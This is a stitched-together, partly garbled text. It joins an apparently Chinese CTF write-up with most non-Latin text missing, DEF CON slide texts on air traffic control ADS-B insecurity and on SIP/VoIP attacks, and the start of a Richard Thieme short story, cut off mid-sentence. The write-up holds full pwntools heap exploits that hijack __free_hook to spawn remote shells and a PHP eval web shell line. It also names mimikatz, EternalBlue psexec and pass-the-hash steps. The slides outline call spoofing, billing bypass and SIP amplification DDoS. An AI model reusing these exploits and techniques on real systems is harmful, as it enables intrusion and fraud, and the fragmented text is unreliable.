gkvN11rPkTb1+3AG1WOGKLInkTtK7ARINdu/BbwAQgnfzT8BBwKA4B/UTzg//qORXmHJTvKovtPJfJNjg6 ITZWg68sZvtnNY6GCqmXjotJ8H2F0cedsFy5JB5ZcM3+5GWMFZHsvHPCvvS3S8kAqYeYzgiaj31GGXrmPF s1wqPqaHlj9TglP1gPMigRs1TbYekFT+WQeSfkeUkHywQzN+fLvZJa+PgP7rBk2enE3wtd66nSab3bTk2w LeveZXw4cE/tBsrxZtdPRUWnUTpEpw="; de = base64.b64decode(data) key1 = "E92489385ACE78110269F177C63DAA64".lower() key2 = de[0:16] de = de[16:] de2 = '' flag = 1 for i in de: if i == '\x00': flag = 0 if flag == 1: de2+= chr(ord(i)^0x9A) else: de2+= i de2 = de2.decode('zlib') aes = AES.new(key1,AES.MODE_CBC,key1[:16]) dd1 =aes.decrypt(de2) print(dd1) htauser.inisession.upload post<?php eval(end(getallheaders()));?> phpsess tmpflag BabyIntranet Rubyweburl ruby on rails /proc/self/ secert_key_baseshell,socks5, 192.168.56.128 445 ,smb versionwinServer2012,Rubyweblsass, Mini DuMP crash report mimikatzhash( Ab123456 ), metasploit ms17_010_psexec pass the hash . Pwn bufoverflow_a libcoff-by-nulloverlaplarge bin attack global_max_fastfastbin attack #!/usr/bin/env python2 # coding:utf-8 from pwn import * import os VERBOSE = 1 DEBUG = 1 LOCAL = 0 target = 'bufoverflow_a' libc = ['libc.so.6'] # libc libc = [] break_points = [] remote_addr = '116.62.152.176' remote_port = 20001 p = remote(remote_addr,remote_port) def allocate(size): p.sendlineafter('>>','1') p.sendlineafter('Size:',str(size)) def delete(index): p.sendlineafter('>>','2') p.sendlineafter('Index:',str(index)) def fill(content): p.sendlineafter('>>','3') p.sendafter('Content:',content) def show(): p.sendlineafter('>>','4') def exp(cmd=None): allocate(0x200) allocate(0x100) delete(0) allocate(0x80) show() # print repr(p.recv(8)) data = p.recv(7) data = p.recvn(6) print 'data' print repr(data) a = u64(data.ljust(8,'\x00')) libc = a - (0x7f9f0c34db58 - 0x7f9f0bfb4000) - 0x200 # libc = a - 3951992 global_max_fast = 0x3c67f8 global_max_fast = 0x39b7d0 print hex(libc) # hint() delete(0) delete(1) allocate(0x100) #0 allocate(0x100)#1 allocate(0x200) #2 allocate(0x100) delete(0) delete(2) delete(3) allocate(0x200) show() print repr(p.recv(8)) heap = u64(p.recvn(6).ljust(8,'\x00'))-0x20 print hex(heap) # hint() delete(0) delete(1) allocate(0x108) #0 allocate(0x4f0) #1 # fill(p64(0x100)*(0x100/8)) allocate(0x100) #2 allocate(0xa0) #3 ptr = heap+0x18 fd = ptr - 3*8 bk = ptr - 2*8 delete(0) allocate(0x108) payload = p64(0)+p64(0x101)+p64(fd)+p64(bk) payload = payload.ljust(0x100,'A') payload += p64(0x100) fill(payload) # hint() delete(1) # hint() allocate(0xf0) #1 allocate(0x400)#4 delete(0) allocate(0x100) fill(p64(0)+p64(0x711)+'\n') # hint() delete(4) allocate(0x500) #make 4 large bin # hint() delete(1) allocate(0x700) fill('A'*0xf0 + p64(0) + p64(0x501) + p64(0) + p64(global_max_fast+libc-0x10) + p64(0) + p64(heap)+'A'*(0x4f0-0x20)+p64(0x21)*8+'\n') # hint() allocate(0x510) allocate(0x510) delete(5) delete(0) allocate(0x100) fill(p64(0)+p64(0x101)+'\n') # fastbin attack delete(0) allocate(0x100) fill(p64(0)+p64(0x101)+p64(heap+8)+'\n') # fill('A'*0x700+p64(0)+p64(0xb1)+p64(heap+8)+'\n') delete(1) # hint() delete(0) allocate(0x100) fill(p64(0)+p64(0x101)+p64(heap+8)+'\n') # hint() allocate(0xf0) # hint() delete(0) allocate(0x100) # hint() allocate(0xf0) free_hook = 0x3c67a8 free_hook = 0x39B788 fill(p64(libc+free_hook)+'\n') hint() magic = 0x4526a magic = 0x3f52a fill(p64(libc+magic)+'\n') delete(0) # delete(1) # allocate(0x200) # fill('A'*0x1e0+p64(0x200)*4) # allocate(0x100) # delete(1) # delete(0) # allocate(0x108) #0 # fill('A'*0x108) # hint() # allocate(0x100) #1 # allocate(0xc0) #3 # delete(1) # delete(2) # allocate(0xf0) #1 # delete(3) # allocate(0xc0) # fill('B'*0x40) p.interactive() if __name__ == '__main__': exp("id") sbbs https://www.jianshu.com/p/1cb4e6077d3d exp bufoverflow_b #!/usr/bin/env python2 # coding:utf-8 from pwn import * import os VERBOSE = 1 DEBUG = 1 LOCAL = 0 target = 'bufoverflow_b' libc = ['libc.so.6'] # libc libc = [] break_points = [] remote_addr = '116.62.152.176' remote_port = 20002 # remote_addr = '114.215.90.211' p = remote(remote_addr,remote_port) if VERBOSE: context.log_level = 'DEBUG' def allocate(size): p.sendlineafter('>>','1') p.sendlineafter('Size:',str(size)) def delete(index): p.sendlineafter('>>','2') p.sendlineafter('Index:',str(index)) def fill(content): p.sendlineafter('>>','3') p.sendafter('Content:',content) def show(): p.sendlineafter('>>','4') def magic(): p.sendlineafter('>>','6602') p.sendlineafter('buf size :','10') p.sendlineafter('Shooting distance :','-296') p.sendlineafter('Give me the bullet : ','10') def exp(cmd=None): allocate(0x200) allocate(0x100) delete(0) allocate(0x80) show() # print repr(p.recv(8)) data = p.recv(7) data = p.recvn(6) print 'data' print repr(data) a = u64(data.ljust(8,'\x00')) libc = a - (0x7f9f0c34db58 - 0x7f9f0bfb4000) - 0x200 # libc = a - 3951992 global_max_fast = 0x3c67f8 global_max_fast = 0x39b7d0 free_hook = 0x39B788 malloc_hook = 3775216 mmm = 0xd6655 print hex(libc) # hint() delete(0) delete(1) allocate(0x100) #0 allocate(0x100)#1 allocate(0x200) #2 allocate(0x100) delete(0) delete(2) delete(3) allocate(0x200) show() print repr(p.recv(8)) heap = u64(p.recvn(6).ljust(8,'\x00'))-0x20 print hex(heap) delete(0) delete(1) # hint() allocate(0x108) fill('/bin/sh'+'\x00') # -301 magic() fill('A'*0x18+p64(libc+free_hook)[:-1]) fill(p64(libc+0x000000000003f4b0)[:-1]) hint() WTFgame __libc_start_main libc __free_hook one_gadgetgetshell delete(0) # delete(0) p.interactive() if __name__ == '__main__': exp("id") from pwn import * import struct host = '149.28.12.44' # host = '182.254.233.54' port = 10001 # context.log_level = 'DEBUG' p = remote(host,port) p.sendlineafter('>','VeroFessIsHandsome') def set_point(address): p.sendlineafter('>','DebugSetDataStoreAddress#'+str(address)) def show_info(): p.sendlineafter('>','showinfo') def setHP(hp): p.sendlineafter('>','SetHP#'+str(hp)) def setATK(atk): p.sendlineafter('>','SetATK#'+str(atk)) def int2hex(i): return u32(struct.pack('i',i)) libc_start_main = 0x8049838 set_point(libc_start_main) show_info() data = p.recvline() Crypto ElGamal Hacker sage a number problem ,x factordb3881*885445853681787330351086884500131209939 (885445853681787330351086884500131209939-1)33 print data libc = int2hex(int(data.split('--')[0])) - 0x1a0c0 print hex(libc) free_hook = libc + 0x1c88d8 malloc_hook = libc + 0x1c7408 magic = libc + 0x68765 #4 magic2 = libc+ 0x6875b #8 print 'free_hook',hex(free_hook) print 'magic',hex(magic) # raw_input() set_point(free_hook) setHP(struct.unpack('i',p32(magic))[0]) # p.sendlineafter('>','VeroFessIsHandsome') # CreatePlayer p.sendlineafter('>','CreatePlayer') p.interactive() p = 2103157897831904071864395721267 g = 12 y = 446615800949186291810252513371 x = discrete_log(y, mod(g, p)) c1 = 1671718365703730324362467329360 c2 = 1381742645695058198993532913043 tmp = xgcd(pow(c1, x, p), p)[1] res = (tmp if tmp > 0 else tmp + p) * c2 % p print hex(res).decode('hex') from libnum import invmod import gmpy q = 885445853681787330351086884500131209939 p = 3881 n = p*q c = 1926041757553905692219721422025224638913707 it may contain 'flag' eWiener Attackflag Misc ActionScriptViewerInstance of Symbol 1217 MovieClip "textBox" in Symbol 2369 MovieClip Frame 440"Normally I would be. This is for you U1lDe0YzaVpoYWlfa3U0aWxlX1QxMTF9, I thought I'd get to safer ground." SLE4442 0x33 0x01 0xXX 0x33 0x02 0xYY 0x33 0x03 0xZZ, 0xXXYYZZ3 logicdatalogic 1100110010000000 1100110001000000 11001100110000003 0x403110 01 Modbus tcpsctf{Easy_Mdbus}o... Re Babymips memcmpgot e = 11 d = invmod(e, (p-1)*(q-1)) x3 = pow(c, d, n) assert pow(x3, e, p*q) == c for k in range(10**7): x, y = gmpy.root(x3+k*n, 3) if y == 1: print x break x = 9420391510958023 assert pow(x, 33, n) == c flag Script In Script js Where is my 13th count flagSetCountText, def de(data): tmp = 0 for i in range(8): tmp |= (((data>>i)&1)<<(7-i)) %0x100 return tmp for i in xrange(0x00400A3C,0x0400D20): ida_bytes.revert_byte(i) for i in xrange(0x00400B3C,0x00400D10+3): b = ida_bytes.get_byte(i) ida_bytes.patch_byte(i,de(b)) start = 0x412038 f_t = [0x66,0x74,0x63,0x73][::-1] res = [] de = '' for i in range(38): res.append((int(ida_bytes.get_byte(i+start)))) for i in range(38-6): res[5+i] ^= 48 for i in range(38-6): t = (i-5)%4 res[5+i] ^= f_t[(i-4)%4] for i in range(38): res[i] ^= (i+1) for i in res: de += chr(i) print de crackme2 dumplib fork z3 private int flag = 0; private void SetCountText() { this.countText.text = "Count: " + this.count.ToString(); if (this.count < 1 || this.flag == 1) { return; } this.winText.text = "Don't Eat Your Flag!"; this.floor.transform.position = new Vector3(this.floor.transform.position.x, this.floor.transform.position.y - 2f, this.floor.transform.position.z - 3f); this.flag = 1; } simple zipmainactivity from z3 import * table = [0xEF, 0x145, 0x93, 0x134, 0x132] ans = [0x57,0x65,0x31,0x63,0x6F,0x33,0x74,48,108,109,0x65,108,50,0x65,0x56,0] flags = [0]*16 judge = [1] * 3 so = Solver() for i in xrange(16): flags[i] = BitVec('a' + str(i),8) for i in range(3): for j in range(5): judge[i] = 0 v1 = table[j % 5] - (flags[(j + 1) % 5 + 5] * judge[1] + flags[j % 5] * judge[0] \ + flags[5 * (judge[0] + judge[1] + judge[2]) + (j + 2) % 5] * judge[2]) so.add(v1 == ans[i*5+j]) judge[i] = 1 print so.check() print so.model() public static void main(String[] args) { int v12 = 828309504; int v11 = 24; int v10 = 7; int guess; byte[] input = new byte[24]; for (int v5 = 0; v5 < v11; v5 += 8) { //Square[] v0 = new Square[8]; Square v0; int v2 = 0; while (true) { if (v2 > v10) { break; } for(guess = 48;guess < 0x7f;guess ++) { if(v5+v2 == 0) { if(guess <= 48) { continue; } } if(v5+v2 == 7) { if(guess >= 112) { continue; } } v0 = new Square((guess << 8) + v12 + 255, v5 / 2 + 4); if(v0.check()) { if(v2 !=0) { //if(v5+v2 != 0) if(input[v5 + v2-1] >= guess) { continue; } } System.out.println(v5 + v2); System.out.println(guess); input[v5+v2] = (byte)guess; ++v2; break; } } } } System.out.println(new String(input)); }
pdf
Air Traffic Control I it 2 0 Insecurity 2.0 Righter Kunkel, CISSP, CISA Security Researcher DEF CON 18 DEF CON 18 Agenda  Who am I?  Overview from last year y  Insecurity's today  Jet tracking  Jet tracking DEF CON 18 Righter Kunkel 2 Who am I?  Security Field for >13 years  Worked with secure operating p g systems: B1, B2  Firewalls, proxies , p  Trainer  CISSP, CISA  CISSP, CISA  Ham Radio  Private Pilot  Private Pilot  DEF CON presenter last year DEF CON 18 Righter Kunkel 3 First  Is flying safe? YES  Are planes going to fall out of the p g g sky after this talk? NO  Is flying safe after this talk? YES y g  Is some of this talk illegal? ??? Disclaimer: Don’t do this! DEF CON 18 Righter Kunkel 4 Pilots?  Is any one a pilot? DEF CON 18 Righter Kunkel 5 Our Focus  We are not going to focus on:  Airport physical security  Cockpit door security  X-Ray security  Our focus:  Computers used by ATC  How airplanes report their position to ATC NexGen ATC  NexGen ATC DEF CON 18 Righter Kunkel 6 Why?  ATC is busy moving planes through the air  ATC not focused on network security of equipment being used  Who would want to hack a radar scope? DEF CON 18 Righter Kunkel 7 ATC  What is ATC? DEF CON 18 Righter Kunkel 8 Source: GAO/T-AIMD-00-330 FAA Computer Security NextGen ATC  Converting from proprietary hardware to commercial off the shelf hardware  Phasing out radar  Airplanes transponder will report Lat., Long., and Alt. in clear txt  ADS-B DEF CON 18 Righter Kunkel 9 Airplane Transponder Source: Wikipedia Righter Kunkel 10 DEF CON 18 ADS-B Insecurity  Who am I and where am I in one unencrypted packet  GPS will be the backbone of NextGen  Oh, and GPS sats are failing faster than expected O ld il f k S  One could easily fake an ADS-B transmission N d t if t iti  No radar to verify true position DEF CON 18 Righter Kunkel 11  More to come… DEF CON 18 Righter Kunkel 12 Call to Action  Listen to ATC  View ADS-B broadcasts  Become a Pilot DEF CON 18 Righter Kunkel 13 Conclusion  ATC Background  State of Airline Security DEF CON 18 Righter Kunkel 14 Questions DEF CON 18 Righter Kunkel 15 References  http://www.oig.dot.gov/StreamFile?file=/data/pdfdocs/ATC_Web_Report.pdf  http://www.airsport-corp.com/adsb2.htm  http://online.wsj.com/article/SB124165272826193727.html#  http://edocket.access.gpo.gov/2010/pdf/2010-12645.pdf DEF CON 18 Righter Kunkel 16
pdf
VoIP Wars : Return of the SIP Fatih Özavcı Security Consultant @ Sense of Security (Australia) www.senseofsecurity.com.au @fozavci 2 # whois ● Security Consultant @ Sense of Security (Australia) ● 10+ Years Experience in Penetration Testing ● 800+ Penetration Tests, 40+ Focused on NGN/VoIP – SIP/NGN/VoIP Systems Penetration Testing – Mobile Application Penetration Testing – IPTV Penetration Testing – Regular Stuff (Network Inf., Web, SOAP, Exploitation...) ● Author of Viproy VoIP Penetration Testing Kit ● Author of Hacking Trust Relationships Between SIP Gateways ● Blackhat Arsenal USA 2013 – Viproy VoIP Pen-Test Kit ● So, that's me Viproy in Action http://www.youtube.com/watch?v=1vDTujNVKGM 4 # traceroute ● VoIP Networks are Insecure, but Why? ● Basic Attacks – Discovery, Footprinting, Brute Force – Initiating a Call, Spoofing, CDR and Billing Bypass ● SIP Proxy Bounce Attack ● Fake Services and MITM – Fuzzing Servers and Clients, Collecting Credentials ● (Distributed) Denial of Service – Attacking SIP Soft Switches and SIP Clients, SIP Amplification Attack ● Hacking Trust Relationships of SIP Gateways ● Attacking SIP Clients via SIP Trust Relationships ● Fuzzing in Advance ● Out of Scope – RTP Services and Network Tests, Management – Additional Services – XML/JSON Based Soap Services 5 # info ● SIP – Session Initiation Protocol – Only Signalling, not for Call Transporting – Extended with Session Discovery Protocol ● NGN – Next Generation Network – Forget TDM and PSTN – SIP, H.248 / Megaco, RTP, MSAN/MGW – Smart Customer Modems & Phones – Easy Management – Security is NOT a Concern?! ● Next Generation! Because We Said So! 6 # SIP Services : Internal IP Telephony INTERNET SIP Server Support Servers SIP Clients Factory/Campus SIP over VPN Commercial Gateways Analog/Digital PBX 7 # SIP Services : Commercial Services INTERNET Soft Switch (SIP Server) VAS, CDR, DB Servers MSAN/MGW PSTN/ISDN Distributed MPLS 3rd Party Gateways SDP Servers Customers RTP, Proxy Servers Mobile 8 # Administrators Think... Root Doesn't! ● Their VoIP Network Isolated – Open Physical Access, Weak VPN or MPLS ● Abusing VoIP Requires Knowledge – With Viproy, That's No Longer The Case! ● Most Attacks are Network Based or Toll Fraud – DOS, DDOS, Attacking Mobile Clients, Spying – Phishing, Surveliance, Abusing VAS Services ● VoIP Devices are Well-Configured – Weak Passwords, Old Software, Vulnerable Protocols 9 # Viproy What? ● Viproy is a Vulcan-ish Word that means "Call" ● Viproy VoIP Penetration and Exploitation Kit – Testing Modules for Metasploit, MSF License – Old Techniques, New Approach – SIP Library for New Module Development – Custom Header Support, Authentication Support – New Stuff for Testing: Trust Analyzer, Bounce Scan, Proxy etc ● Modules – Options, Register, Invite, Message – Brute Forcers, Enumerator – SIP Trust Analyzer, Service Scanner – SIP Proxy, Fake Service, DDOS Tester 10 # Basic Attacks ● We are looking for... – Finding and Identifying SIP Services and Purposes – Discovering Available Methods and Features – Discovering SIP Software and Vulnerabilities – Identifying Valid Target Numbers, Users, Realm – Unauthenticated Registration (Trunk, VAS, Gateway) – Brute Forcing Valid Accounts and Passwords – Invite Without Registration – Direct Invite from Special Trunk (IP Based) – Invite Spoofing (After or Before Registration, Via Trunk) ● Viproy Pen-Testing Kit Could Automate Discovery 11 # Basic Attacks Discovery OPTIONS / REGISTER / INVITE / SUBSCRIBE 100 Trying 200 OK 401 Unauthorized 403 Forbidden 404 Not Found 500 Internal Server Error Collecting Information from Response Headers ➔ User-Agent ➔ Server ➔ Realm ➔ Call-ID ➔ Record-Route ➔ ➔ Warning ➔ P-Asserted-Identity ➔ P-Called-Party-ID ➔ P-Preferred-Identity ➔ P-Charging-Vector Soft Switch (SIP Server) Clients Gateways 12 # Basic Attacks Register REGISTER / SUBSCRIBE (From, To, Credentials) 200 OK 401 Unauthorized 403 Forbidden 404 Not Found 500 Internal Server Error RESPONSE Depends on Informations in REQUEST ➔ Type of Request (REGISTER, SUBSCRIBE) ➔ FROM, TO, Credentials with Realm ➔ Via Actions/Tests Depends on RESPONSE ➔ Brute Force (FROM, TO, Credentials) ➔ Detecting/Enumerating Special TOs, FROMs or Trunks ➔ Detecting/Enumerating Accounts With Weak or Null Passwords ➔ …. Soft Switch (SIP Server) Clients Gateways 13 # Basic Attacks ● this isn't the call you're looking for ● We are attacking for... – Free Calling, Call Spoofing – Free VAS Services, Free International Calling – Breaking Call Barriers – Spoofing with... ● Via Field, From Field ● P-Asserted-Identity, P-Called-Party-ID, P-Preferred-Identity ● ISDN Calling Party Number, Remote-Party-ID – Bypass with... ● P-Charging-Vector (Spoofing, Manipulating) ● Re-Invite, Update (Without/With P-Charging-Vector) ● Viproy Pen-Testing Kit Supports Custom Headers 14 # Basic Attacks Invite, CDR and Billing Tests Soft Switch (SIP Server) Clients Gateways INVITE/ACK/RE-INVITE/UPDATE (From, To, Credentials, VIA ...) 401 Unauthorized 403 Forbidden 404 Not Found 500 Internal Server Error Actions/Tests Depends on RESPONSE ➔ Brute Force (FROM&TO) for VAS and Gateways ➔ Testing Call Limits, Unauthenticated Calls, CDR Management ➔ INVITE Spoofing for Restriction Bypass, Spying, Invoice ➔ …. 100 Trying 183 Session Progress 180 Ringing 200 OK RESPONSE Depends on Informations in INVITE REQUEST ➔ FROM, TO, Credentials with Realm, FROM <>, TO <> ➔ Via, Record-Route ➔ Direct INVITE from Specific IP:PORT (IP Based Trunks) 15 # SIP Proxy Bounce Attack ● SIP Proxies Redirect Requests to Other SIP Servers – We Can Access Them via SIP Proxy then We Can Scan – We Can Scan Inaccessible Servers – URI Field is Useful for This Scan ● Viproy Pen-Testing Kit Has a UDP Port Scan Module 16 # SIP Proxy Bounce Attack The Wall 192.168.1.145 – Izmir Production SIP Service 192.168.1.146 Ankara White Walker 192.168.1.201 Adana How Can We Use It? ● SIP Trust Relationship Attacks ● Attacking Inaccessible Servers ● Attacking SIP Software – Software Version, Type 17 # Fake Services and MITM ● We Need a Fake Service – Adding a Feature to Regular SIP Client – Collecting Credentials – Redirecting Calls – Manipulating CDR or Billing Features – Fuzzing Servers and Clients for Vulnerabilities ● Fake Service Should be Semi-Automated – Communication Sequence Should be Defined – Sending Bogus Request/Result to Client/Server ● Viproy Pen-Testing Kit Has a SIP Proxy and Fake Service ● Fuzzing Support of Fake Service is in Development Stage 18 # Fake Services and MITM Usage of Proxy & Fake Server Features Soft Switch (SIP Server) ● Use ARP Spoof & VLAN Hopping & Manual Config ● Collect Credentials, Hashes, Information ● Change Client's Request to Add a Feature (Spoofing etc) ● Change the SDP Features to Redirect Calls ● Add a Proxy Header to Bypass Billing & CDR ● Manipulate Request at Runtime to find BOF Vulnerabilities Clients 19 # DOS – It's Not Service, It's Money ● Locking All Customer Phones and Services for Blackmail ● Denial of Service Vulnerabilities of SIP Services – Many Responses for Bogus Requests → DDOS – Concurrent Registered User/Call Limits – Voice Message Box, CDR, VAS based DOS Attacks – Bye And Cancel Tests for Call Drop – Locking All Accounts if Account Locking is Active for Multiple Fails ● Multiple Invite (After or Before Registration, Via Trunk) – Calling All Numbers at Same Time – Overloading SIP Server's Call Limits – Calling Expensive Gateways,Targets or VAS From Customers ● Viproy Pen-Testing Kit Has a few DOS Features 20 # DDOS – All Your SIP Gateways Belong to Us ! ● SIP Amplification Attack + SIP Servers Send Errors Many Times (10+) + We Can Send IP Spoofed Packets + SIP Servers Send Responses to Victim => 1 packet for 10+ Packets, ICMP Errors (Bonus) ● Viproy Pen-Testing Kit Has a PoC DDOS Module ● Can we use SIP Server's Trust ? -wait for it- 21 # DDOS – All Your SIP Gateways Belong to Us! The Wall 192.168.1.201 – Izmir Production SIP Service 192.168.1.202 – Ankara Production SIP Service Citadel IP Spoofed Call Request White Walker The Wall 192.168.1.203 – Adana Production SIP Service 22 # Hacking SIP Trust Relationships ● NGN SIP Services Trust Each Other – Authentication and TCP are Slow, They Need Speed – IP and Port Based Trust are Most Effective Way ● What We Need – Target Number to Call (Cell Phone if Service is Public) – Tech Magazine, Web Site Information, News ● Baby Steps – Finding Trusted SIP Networks (Mostly B Class) – Sending IP Spoofed Requests from Each IP:Port – Each Call Should Contain IP:Port in "From" Section – If We Have a Call, We Have The Trusted SIP Gateway IP and Port – Brace Yourselves The Call is Coming 23 The Wall # Hacking SIP Trust Relationships Slow Motion 192.168.1.201 – Izmir Production SIP Service Ankara Istanbul International Trusted Operator IP Spoofed Call Request Contains IP:Port Data in From White Walker 24 # Hacking SIP Trust Relationships Brace Yourselves, The Call is Coming 192.168.1.201 – Izmir Production SIP Service White Walker Ankara Istanbul International Trusted Operator IP Spoofed Call Request Somebody Known in From Come Again? ● Billing ? ● CDR ? ● Log ? From Citadel The Wall 25 # Hacking SIP Trust Relationships – Business Impact ● Denial of Service – Short Message Service and Billing – Calling All Numbers at Same Time – Overloading SIP Server's Call Limits – Overloading VAS Service or International Limits – Overloading CDR Records with Spoofed Calls ● Attacking a Server Software – Crashing/Exploiting Inaccesible Features – Call Redirection (working on it, not yet :/) ● Attacking a Client? – Next Slide! 26 # Attacking a Client via SIP Trust Relationships ● SIP Server Redirects a few Fields to Client – FROM, FROM NAME, Contact – Other Fields Depend on Server (SDP, MIME etc) ● Clients Have Buffer Overflow in FROM? – Send 2000 Chars to Test it ! – Crash it or Execute your Command if Available ● Clients Trust SIP Servers and Trust is UDP Based – This module can be used for Trust Between Client and Server ● Viproy Pen-Testing Kit SIP Trust Module – Simple Fuzz Support (FROM=FUZZ 2000) – You Can Modify it for Further Attacks 27 # Attacking a Client via SIP Trust Relationships Brace Yourselves 550 Chars are Coming 192.168.1.201 – Izmir Production SIP Service White Walker Ankara Istanbul International Trusted Operator IP Spoofed Call Request 550 Chars in From CRASSSSH! ● Command? ● Why Not! Bogus Invite Request The Wall The Wall AdorePhone Iphone App 28 # Fuzz Me Maybe ● Fuzzing as a SIP Client | SIP Server | Proxy | MITM ● SIP Server Software ● SIP Clients – Hardware Devices, IP Phones, Video Conference Systems – Desktop Application or Web Based Software – Mobile Software ● Special SIP Devices/Software – SIP Firewalls, ACL Devices, Proxies – Connected SIP Trunks, 3rd Party Gateways – MSAN/MGW – Logging Software (Indirect) – Special Products: Cisco, Alcatel, Avaya, Huawei, ZTE... 29 # Old School Fuzzing ● Request Fuzzing – SDP Features – MIME Type Fuzzing ● Response Fuzzing – Authentication, Bogus Messages, Redirection ● Static vs Stateful ● How about Smart Fuzzing – Missing State Features (ACK,PHRACK,RE-INVITE,UPDATE) – Fuzzing After Authentication (Double Account, Self-Call) – Response Fuzzing (Before or After Authentication) – Missing SIP Features (IP Spoofing for SIP Trunks, Proxy Headers) – Numeric Fuzzing for Services is NOT Memory Corruption – Dial Plan Fuzzing, VAS Fuzzing 30 # How Viproy Pen-Testing Kit Helps Fuzzing Tests ● Skeleton for Feature Fuzzing, NOT Only SIP Protocol ● Multiple SIP Service Initiation – Call Fuzzing in Many States, Response Fuzzing ● Integration With Other Metasploit Features – Fuzzers, Encoding Support, Auxiliaries, Immortality etc. ● Custom Header Support – Future Compliance, Vendor Specific Extensions, VAS ● Raw Data Send Support (Useful with External Static Tools) ● Authentication Support – Authentication Fuzzing, Custom Fuzzing with Authentication ● Less Code, Custom Fuzzing, State Checks ● Some Features (Fuzz Library, SDP) are Coming Soon 31 # Fuzzing SIP Services Request Based OPTIONS/REGISTER/SUBSCRIBE/INVITE/ACK/RE-INVITE/UPDATE.... Soft Switch (SIP Server) Gateways 401 Unauthorized 403 Forbidden 404 Not Found 500 Internal Server Error Fuzzing Targets, REQUEST Fields ➔ Request Type, Protocol, Description ➔ Via, Branch, Call-ID, From, To, Cseq, Contact, Record-Route ➔ Proxy Headers, P-*-* (P-Asserted-Identity, P-Charging-Vector...) ➔ Authentication in Various Requests (User, Pass, Realm, Nonce) ➔ Content-Type, Content-Lenth ➔ SDP Information Fields ➔ ISUP Fields 100 Trying 183 Session Progress 180 Ringing 200 OK Clients 32 # Fuzzing SIP Services Response Based OPTIONS Soft Switch (SIP Server) Gateways INVITE/ACK 401 Unauthorized 403 Forbidden 404 Not Found 500 Internal Server Error 100 Trying 183 Session Progress 180 Ringing 200 OK INVITE Myself / INVITE I'm Proxy MALICOUS RESPONSE MALICOUS RESPONSE Potential RESPONSE Types for Fuzzing Clients SIP Bounce Attack, Hacking SIP Trust, Attacking Mobile Apps http://www.youtube.com/watch?v=bSg3tAkh5gA 34 References ● Viproy VoIP Penetration and Exploitation Kit Author : http://viproy.com/fozavci Homepage : http://viproy.com/voipkit Github : http://www.github.com/fozavci/viproy-voipkit ● Attacking SIP Servers Using Viproy VoIP Kit (50 mins) https://www.youtube.com/watch?v=AbXh_L0-Y5A ● Hacking Trust Relationships Between SIP Gateways (PDF) http://viproy.com/files/siptrust.pdf ● VoIP Pen-Test Environment – VulnVoIP http://www.rebootuser.com/?cat=371 35 Special Thanks to... Special Ones ● Konca Ozavci ● Kadir Altan ● Anil Pazvant Suggestions & Guidelines & Support ● Paul Henry ● Mark Collier ● Jason Olstrom ● Jesus Perez Rubio Q ? Thanks
pdf
Break, Memory By Richard Thieme The Evolution of the Problem The problem was not that people couldn’t remember; the problem was that people couldn’t forget. As far back as the 20th century, we realized that socio-historical problems were best handled on a macro level. It was inefficient to work on individuals who were, after all, nothing but birds in digital cages. Move the cage, move the birds. The challenge was to build the cage big enough to create an illusion of freedom in flight but small enough to be moved easily. When long-term collective memory became a problem in the 21st century, it wound up on my desktop. There had always been a potential for individuals to connect the dots and cause a contextual shift. We managed the collective as best we could with Chomsky Chutes but an event could break out randomly at any time like a bubble bursting. As much as we surveil the social landscape with sensors and datamine for deep patterns, we can’t catch everything. It’s all sensors and statistics, after all, which have limits. If a phenomenon gets sticky or achieves critical mass, it can explode through any interface, even create the interface it needs at the moment of explosion. That can gum up the works. 2 Remembering and forgetting changed after writing was invented. The ones that remembered best had always won. Writing shifted the advantage from those who knew to those who knew how to find what was known. Electronic communication shifted the advantage once again to those who knew what they didn’t need to know but knew how to get it when they did. In the twentieth century advances in pharmacology and genetic engineering increased longevity dramatically and at the same time meaningful distinctions between backward and forward societies disappeared so far as health care was concerned. The population exploded everywhere simultaneously. People who had retired in their sixties could look forward to sixty or seventy more years of healthful living. As usual, the anticipated problems – overcrowding, scarce water and food, employment for those who wanted it – were not the big issues. Crowding was managed by staggered living, generating niches in many multiples of what used to be daylight single-sided life. Life became double-sided, then triple-sided, and so on. Like early memory storage devices that packed magnetic media inside other media, squeezing them into every bit of available space, we designed multiple niches in society that allowed people to live next to one another in densely packed communities without even noticing their neighbors. Oh, people were vaguely aware that thousands of others were on the streets or in stadiums, but they might as well have been simulants for all the difference they made. We call this the Second Neolithic, the emergence of specialization at the next level squared. The antisocial challenges posed by hackers who “flipped” through niches for weeks at a time, staying awake on Perkup, or criminals exploiting flaws inevitably 3 present in any new system, were anticipated and handled using risk management algorithms. In short, multisided life works. Genetic engineering provided plenty of food and water. Binderhoff Day commemorates the day that water was recycled from sewage using the Binderhoff Method. A body barely relinquishes its liquid before it’s back in a glass in its hand. As to food, the management of fads enables us to play musical chairs with agri-resources, smoothing the distribution curve. Lastly, people are easy to keep busy. Serial careers, marriages and identities have been pretty much standard since the twentieth century. Trends in that direction continued at incremental rather than tipping-point levels. We knew within statistical limits when too many transitions would cause a problem, jamming intersections as it were with too many vehicles, so we licensed relationships, work-terms, and personal reinvention using traffic management algorithms to control the social flow. By the twenty-first century, everybody’s needs were met. Ninety-eight per cent of everything bought and sold was just plain made up. Once we started a fad, it tended to stay in motion, generating its own momentum. People spent much of their time exchanging goods and services that an objective observer might have thought useless or unnecessary, but of course, there was no such thing as an objective observer. Objectivity requires distance, historical perspective, exactly what is lacking. Every product or service introduced into the marketplace drags in its wake an army of workers to manufacture it, support it, or clean up after it which swells the stream until it becomes a river. All of those rivers flow into the sea but the sea is never full. 4 Fantasy baseball is a good example. It had long been noticed that baseball itself, once the sport became digitized, was a simulation. Team names were made up for as many teams as the population would watch. Players for those teams were swapped back and forth so the team name was obviously arbitrary, requiring the projection of a “team gestalt” from loyal fans pretending not to notice that they booed players they had cheered as heroes the year before. Even when fans were physically present at games, the experience was mediated through digital filters; one watched or listened to digital simulations instead of the game itself, which existed increasingly on the edges of the field of perception. Then the baseball strike of 2012 triggered the Great Realization. The strike was on for forty-two days before anyone noticed the absence of flesh-and-blood players because the owners substituted players made of pixels. Game Boys created game boys. Fantasy baseball had invented itself in recognition that fans might as well swap virtual players and make up teams too but the G.R. took it to the next level. After the strike, Double Fantasy Baseball became an industry, nested like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy players were swapped in meta-leagues of fantasy players. Then Triple Fantasy Baseball … Quadruple Fantasy Baseball … and now the fad is Twelves in baseball football and whack-it-ball and I understand that Lucky Thirteens is on the drawing boards, bigger and better than any of its predecessors. So no, there is no shortage of arbitrary activities or useless goods. EBay was the prototype of the future, turning the world into one gigantic swap meet. If we need a police action or a new professional sport to bleed off excess hostility or rebalance the body politic, we make it 